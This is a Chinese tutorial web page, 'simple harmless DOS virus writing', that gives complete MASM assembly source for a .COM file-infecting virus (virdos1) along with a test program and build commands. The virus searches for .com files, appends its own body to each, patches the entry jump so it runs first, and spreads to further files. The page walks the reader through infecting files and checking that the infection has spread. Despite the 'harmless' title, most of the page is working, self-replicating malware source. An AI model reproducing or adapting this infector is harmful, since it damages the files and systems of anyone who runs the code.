当前位置:首页 > 软件开发 > net
firefox

简单无害的DOS病毒编写

===========begin of lj.asm============
请在dos下用masm 5.o编译,然后用link.exe连接.最后用exe2bin连接成.com文件,格式如下:
c:\>masm lj.asm 生成.obj文件及.lst文件
c:\>link lj.obj 生成.exe文件
c:\>exe2bin lj.exe lj.com
即生成lj.com文件,然后即可直接运行,该程序无任何目的,只用于被病毒感染调试用,可直接运行,格式如下:
c:>lj
                         .19.
原程序如下:
seg_a     segment   byte public
    assume   cs:seg_a, ds:seg_a
    org   100h
ljj2     proc   far
start:
  jmp real_start
real_start:
  nop
    nop
    nop
    mov   ah,4ch
  int 21h  
ljj2     endp
seg_a     ends
    end   start


=============begin of virdos1.asm============(.com文件病毒)
(1)请在dos下用masm 5.o编译,然后用link.exe连接.最后用exe2bin连接成.com文件,格式如下:
c:\>masm virdos1.asm 生成.obj文件及.lst文件
c:\>link virdos1.obj 生成.exe文件
c:\>exe2bin virdos1.exe virdos1.com
即生成virdos1.com文件,然后即可运行,先看一个调试程序lj.com的字节数(如10个字节长度) 运行格式如下:
c:>virdos1 lj.com
在dos下运行上述命令后即可看到lj.com文件字节变长,这就是lj.com被病毒virdos1.com第一次感染后的结果.我们可以用copy命令复制一个同lj.com(如10个字节长度)原程序一样的程序(未被病毒感染的程序),叫lj1.com吧!
被病毒感染的lj.com在dos下运行的格式:
c:>lj.com
运行过后我们再查看lj1.com文件长度是否变长了,是的话即lj1.com也被病毒感染了.

;本程序调试请使用tr或debug
gohead macro
mov ax,4200h      ;移动文件指针至文件头 
xor cx,cx
xor dx,dx
int 21h
endm
gotail macro   
mov ax,4202h      ;移动文件指针至文件尾 
xor cx,cx
xor dx,dx
int 21h
endm
code segment
org 100h
assume cs:code;ds:code
start: jmp iniz    ;无条件转到iniz(目的执行病毒释放程序)
begin:
jmp  start1      ;执行病毒第一条指令
fn db *.com,0    ;用于搜索所有.com文件的伪定义
com_sh_len dw 0000h    ;用于目的文件长度的伪定义(因为病毒加载目的文件时要
;计算目的文件长度)
endcde db 0
openmsg db ***open error ***,0dh,0ah  ;第一次想要释放病毒时打开目的文件错误
ftype db 0         
hdi dw 0         

                         .22.
qq dw 0         
kt dw 0          
len dd 0       
buf db 1024 dup(0)     ;缓冲区1024字节
;  str db 0dh,0ah,"no -match! $"
str1 db 0dh,0ah,"found dabivirus,killed!$"
;str2 db 0dh,0ah,"found dabiviufs in memory rdboot withno-virus! $"
but dw 0000h
com_handle dw 0000h     ;文件句柄
int13h dd 0000h       ;中断13的存储地址
int21h dd 0000h       ;中断21的存储地址
int2fh dd 0000h       ;中断2f的存储地址
jj dw 0000h       
current_int dd 3 dup(0)   
tf db 2 dup(0)
com_buf db 0e9h,0,0
com_bu db 3 dup(0)
head1 db 10 dup(0)
head7 db 7 dup(0)
head3 db 3 dup(0)
read_buf db 10 dup(0)
head2 db 10 dup(0)
com_msg db 0ah,0dh
   db "notice ifound unknow virus.."
   db 0ah,0dh
   db "now,i kill it"
   db 0ah,0dh,$
ljg db 0ah,0dh
  db "i cat not write back file"
  db 0ah,0dh,$
start1:
mov ah,30h   取dos版本
int 21h
cmp bl,5bh  是5.0版吗,不是转next
jnz next
; lea dx,str2+7
jmp exit7  ;无条件转exit7
next: mov bl,ds:[80h] ;取.com文件80h缓冲区.(80h区作用请参考本书其他章节)
or bl,bl    ;bl或运算
; jnz next1
jmp next1   ;转next1
next1:xor bh,bh   ;bh或运算

                         .23.
mov byte ptr [bx+81],0 ;[bx+81]单元置0
mov si,81h     ;si=81h

loop1:lodsb     
cmp al,20h      ;si是否为空格,相等转loop1,不相等si=si-
jz loop1
dec si
lea di,fn+[di]    ;di=文件被病毒感染后的(*.com)字符
push bx
; push di
mov cx,bx      ;不为0时重复传送指令
repnz movsb
xor cx,cx   ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置
mov di,101h
mov bx,[di]
lea dx,fn+[bx]  ;被病毒感染后.com字符的正确位置
mov cx,0
mov ah,4eh   ;搜索.com文件
int 21h
loop2:jnc next2 ;没错转next2
jmp exite
next2:
mov di,00h
mov bp,0101h
mov di,[bp]  ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置送di
push di
xor cx,cx
; lea si,read_buf+[di]
lea si, head3+[di]   ;恢复被病毒感染后原文件第一条指令,以便文件能正常运行
mov di,100h
mov cx,3
cld
rep movsb
pop di
mov ah,2fh
int 21h
push es   ;设置磁盘传送地址
pop ds
add bx,1eh
push bx
; pop di   ;计算bx在80区的正确位置
pop dx

                         .24.
call scan  ;调用搜索模块,成功转yy
jnc yy
jmp exite
yy:  mov ah,4fh ;搜索下一个.com文件

int 21h
jc exit7
jmp loop2
exit7:jmp di  ;转0100h继续执行原文件
scan proc near  ;搜索.com文件模块
mov si,dx   ;si=dx
; pop di
mov bp,di   ;bp=di
push bp   ;bp入栈
call disp   ;调用显示字母(文件名.com)字符模块
cld     ;去方向

lp1:lodsb   ;装入al
cmp al,.  ;比较是否为”.”字符
jz sl    ;相等转sl
cmp al,0   ;比较是否为0,不相等转lp1
jnz lp1
jmp exits
sl:les ax,[si]  ;将si的单元内容送ax,si+2=es的单元内容送bx
mov bx,es
cmp ax,4f43h ;比较是否为co字符
jnz exits   ;不相等转exits
cmp bl,4dh   ; 比较是否为m字符
jnz exits   ;不相等转exits
jmp gokill  ;转gokill
gokill:call kill ;调用感染模块
exite: xor ax,ax
xor bx,bx
xor dx,dx    ;寄存器清0,并转0100h执行原文件
xor si,si
mov di,0100h
jmp di
exits:ret
scan endp
kill proc near
mov ax,3d02h   ;读写打开文件
int 21h    ;打开目标文件的.com文件,准备感染(目标文件的意思是正在运行的文件
jnc com    ;如a.com打开另一个b.com文件
                         .25.
jmp exitk
com:mov bx,ax
;mov di,00h
;mov bp,0101h
;mov di,[bp]
mov ax,4200h
xor cx,cx   ;移动文件指针至文件头
mov dx,0
int 21h
mov cx,3
lea dx,com_buf+[di]   ;读文件头三个字节入正在运行的文件com_buf+[di]偏移地址
mov ah,3fh      ;处
int 21h
;jmp com1
mov ax,4200h
xor cx,cx
mov dx,0    ;移动文件指针至文件头
int 21h
mov cx,3
lea dx,head3+[di]  ;读文件头三个字节入正在运行的文件head3+[di]偏移地址处
mov ah,3fh
int 21h
jmp com1    ;转com1
com1:mov al,com_buf+[di]  ;比较目标文件0100h处是否为此0e9h(即jmp)
cmp al,0e9h     ;是的话转com2准备感染
jz com2
jmp exitr 
com2:
gotail    ;移动文件指针至文件尾
mov word ptr [com_sh_len+[di]] ,ax ;目标文件长度送[com_sh_len+[di]]的偏移地址处
add ax,0fffdh        ;ax=目标文件长度-2
mov word ptr [com_buf+1+[di]],ax  ;送入[com_buf+[di]]
push ax          ;ax入栈
; mov word ptr [tf+[di]],ax
lea dx, begin+[di]      ;将begin+[di]偏移地址送dx
mov cx,063dh        ;写病毒cx=063dh(h为十六进制)入目标文件
; add word ptr com_sh_len+[bp],cx
mov ah,40h
int 21h
jmp hl
hl:


                         .26.

mov ax,4200h
xor cx,cx   ;移动文件指针至0101h处
mov dx,1
int 21h
pop ax   ;ax出栈(ax=目标文件长度-2)
mov word ptr kt+[di],ax ;送入kt+[di]偏移地址处
mov ah,40h
lea dx,kt+[di]  ;写2个字节入0101h处,目的是目标文件被病毒感染后第一条指令
mov cx,2    ;被修改成(jmp 后加病毒入口地址)
int 21h
jmp exitr
exitr:mov ah,3eh  ;关闭文件
int 21h
exitk:ret  ;返回调用处
kill endp
disp proc near
push si
mov al,0dh
mov ah,0eh
int 10h
mov al,0ah   ;显示字符模块,搜索时显示(文件名.com)
mov ah,0eh
int 10h
cld
dd1:lodsb
cmp al,0
jz exitd
mov ah,0eh
int 10h
jmp dd1
exitd:pop si
ret
disp endp
iniz:
mov ax,3513h
int 21h
mov word ptr int13h,bx   ;取中断13向量地址送入;int13h,int13h+2
mov word ptr [int13h+2],es  ;偏移地址处
mov ax,3521h
int 21h
mov word ptr int21h,bx   ;取中断21向量地址送入int21h,int21h+2偏移地址处
mov word ptr [int21h+2],es
                         .27.
mov ax,352fh
int 21h
mov word ptr int2fh,bx   ;取中断2f向量地址送入int2fh,int2fh+2偏移地址处
mov word ptr [int2fh+2],es
push ds    ;ds=es
pop es
mov si,082h  ;si=082h
mov di,offset path  ;di=path单元
cld       ;去方向
move:
cmp byte ptr ds:[si],0dh ;比较是否有回车键
je con4       ;相等转con4
movsb        ;不相等重复传送字节
jmp move       ;无条件转move
con4:
xor al,al
mov es:[di],al    ;path偏移地址送dx
mov dx,offset path  ;按路径打开文件名(格式为原文件名 目的文件名)
mov ax,3d02h    ;准备第一次感染
int 21h
jnc continue  ;打开成功转continue
jmp open_error
continue:
mov ds:handle,ax ;文件句柄送ds:handle,bx
mov bx,ax
gohead     ;移动文件指针至文件头
mov bx,ds:handle
mov ah,3fh
mov dx,offset read_buf  ;读文件头10个字节入read_buf
mov cx,10
int 21h
mov si,offset read_buf
mov di,offset head3    ;三个送head3地址偏移处
mov cx,3
cld
rep movsb
mov cx,7
mov di,offset head7    ;七个送head7
rep movsb
gotail   ;移动文件指针至文件尾
mov word ptr com_sh_len,ax  ;ax=目标文件长度-2
add ax,0fffdh
mov word ptr [com_buf+1],ax
                         .28.
add ax,0fffeh   ;ax=目标文件长度-3
mov word ptr but,ax ;送入but偏移地址
mov dx,offset begin
mov cx,offset iniz   ;计算iniz-begin地址单元中长度送cx,即计算病毒长度-3
sub cx,offset begin
add word ptr com_sh_len,cx  ;写病毒程序入目标文件(长度=cx)
mov ah,40h

int 21h
gohead     ;移动文件指针至文件头
mov dx,offset com_buf
mov cx,3       ;写三个字节com_buf处内容写入目标文件头
mov ah,40h
int 21h
mov ah,3eh    ;关闭文件
int 21h
mov ah,09h
mov dx,offset msg2
int 21h
jmp exit
open_error:
mov ah,09h
mov dx,offset msg1
int 21h
exit:
mov ah,4ch    ;结束并返回dos
int 21h
path db 62 dup(0)  ;文件路径用的缓冲区
msg1 db 0dh,0ah,"file can not open!$"
msg2 db "now i have pritected this file.$"
handle dw 0000h   ;文件句柄用
code ends
end start

 ↓相关文章:
© 2006-2008 All Rights Reserved